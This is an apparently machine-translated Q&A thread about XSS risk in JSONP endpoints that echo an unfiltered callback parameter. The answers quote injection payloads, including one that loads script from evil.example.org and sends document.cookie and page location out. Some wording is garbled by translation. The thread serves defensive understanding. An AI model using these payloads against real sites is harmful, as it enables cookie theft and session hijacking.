Jsonp xss obvious vulnerability

Question

Jsonp xss obvious vulnerability

Some of our clients have encountered an XSS vulnerability in all of our JSONP endpoints, but I do not agree if this is really a vulnerability. I wanted to know the opinion of the community to make sure that I did not miss something.

So, as with any jsonp system, we have an endpoint, for example:

http://foo.com/jsonp?cb=callback123

where the value of the cb parameter is reproduced back in the answer:

 callback123({"foo":"bar"});

Clients complained that we were not filtering HTML in the CB parameter, so they would come up with an example like this:

 http://foo.com/jsonp?cb=<body onload="alert('h4x0rd');"/><!--

Obviously, for a URL that returns a text/html content type, this creates a problem where the browser renders this HTML and then executes a potentially malicious javascript in the onload handler. It can be used to steal cookies and send them to an attacker’s site, or even to create a fake phishing login screen. The user checks the domain and sees that he trusts him, so he goes into age and enters the system.

But in our case, we set the header to the content type application/javascript , which causes various different behaviors in different browsers. that is, Firefox simply displays the raw text, whereas IE opens the "save as ..." dialog. I do not think this can be particularly useful. A Firefox user is not going to read malicious text telling him to jump off the bridge and think a lot. And the IE user will probably be confused with the Save As dialog and click Cancel.

I think I could see a case where an IE user is tricked into saving and opening a .js file, which then goes through the JScript engine for Microsoft and gets all kinds of access to the user machine; but that seems unlikely. Is this the biggest threat here, or is there some other vulnerability that I missed?

(Obviously, I'm going to “fix” by inserting filtering to only accept a valid javascript identifier, with some length restriction anyway, but I just need a dialog about what other threats I could skip.)

+6

javascript security jsonp xss

Mike ruhlin Jan 05 '12 at 22:01

source share

5 answers

Jonathan rich · Answer 1 · 2012-01-06T16:38:48+0000

Their injection should be something like </script><h1>pwned</h1>

It would be trivial enough to verify that $_GET['callback'] (assuming PHP) is a valid JavaScript function name.

The whole point of JSONP is wrapped in browser restrictions that try to prevent vulnerabilities like XSS, so there should be a certain level of trust between the JSONP provider and the requesting site.

HOWEVER, this vulnerability ONLY appears if the client does not perform intelligent processing of user input - if they hardcode all of their JSONP callback names, then there is no way for the vulnerability.

Pointy · Answer 2 · 2012-01-05T22:32:39+0000

Your site will have an XSS vulnerability if the name of this callback (value "cb") was received blindly from any other previously entered value. The fact that a user can create a URL manually that sends JavaScript through your JSONP API and vice versa is no more interesting than the fact that they can run the same JavaScript directly through the JavaScript browser console.

Now, if your site was supposed to send part of the JSON content to this callback that used unfiltered user input from a form or more insidiously from some other form that previously stored something in your database, then you will have a problem. For example, if your answer had a "Comments" field:

 callback123({ "restaurantName": "Dirty Pete Burgers", "comment": "x"+alert("haxored")+"y" })

then this comment, whose value was x"+alert("haxored")+"y , will be an XSS attack. However, any good JSON encoder will fix this by specifying double quote characters.

However, there would be no harm in ensuring that the callback name is a valid JavaScript identifier. In any case, you really can’t do anything, because by definition, your public JSONP service must do whatever the client page wants to do in order to work correctly.

gsnedders · Answer 3 · 2012-01-05T22:24:47+0000

There is nothing stopping them from doing something that inserts code, if so.

Imagine a url like http://example.com/jsonp?cb=HTMLFormElement.prototype.submit = function() { /* send form data to some third-party server */ };foo . When this is received by the client, depending on how you handle JSONP, you can introduce the ability to run JS of arbitrary complexity.

What is an attack vector: imagine an HTTP proxy, which is a transparent forwarding proxy for all URLs except http://example.com/jsonp , where it takes part of the cb of the query string and before that adds some malicious JS and redirects to this URL.

Krinkle · Answer 4 · 2012-01-10T23:31:05+0000

Another example would be to create two such queries:

 http://example.org/api.php ?callback=$.getScript('//evil.example.org/x.js');var dontcare=(

which will call:

 $.getScript('//evil.example.org/x.js');var dontcare= ({ ... });

And http (s): //evil.example.org/x.js will ask:

 http://example.org/api.php ?callback=new Mothership({cookie:document.cookie, loc: window.location, apidata:

which will call:

 new Mothership({cookie:document.cookie, loc: window.location, apidata: { .. });

The possibilities are endless.

See Do I need to sanitize a callback parameter from a JSONP call? for an example of deactivating a JSON callback.

Also note that (some versions?) Internet Explorer ignores the Content-Type header. It is stubborn and goes looking for itself in the first few bytes, and if it seems to be html-like content, it is well versed and does it all like text / html completely ...

Cheekysoft · Answer 5 · 2012-01-06T16:26:14+0000

As Pointy points out, a single access to the URL directly is not possible. However, if any of your own javascript codes makes calls to the JSON service with data provided by the user, and either displays the values in the response to the document, or the eval() response (both now and in the future as an application evolves over time ), then you have an XSS vulnerability used for exploitation.

Personally, I would still consider this a low-risk vulnerability, although today it cannot be used. Why not turn to him now and eliminate the risk that he will be partially responsible for introducing a higher-risk vulnerability at some point in the future?

Jsonp xss obvious vulnerability

More articles: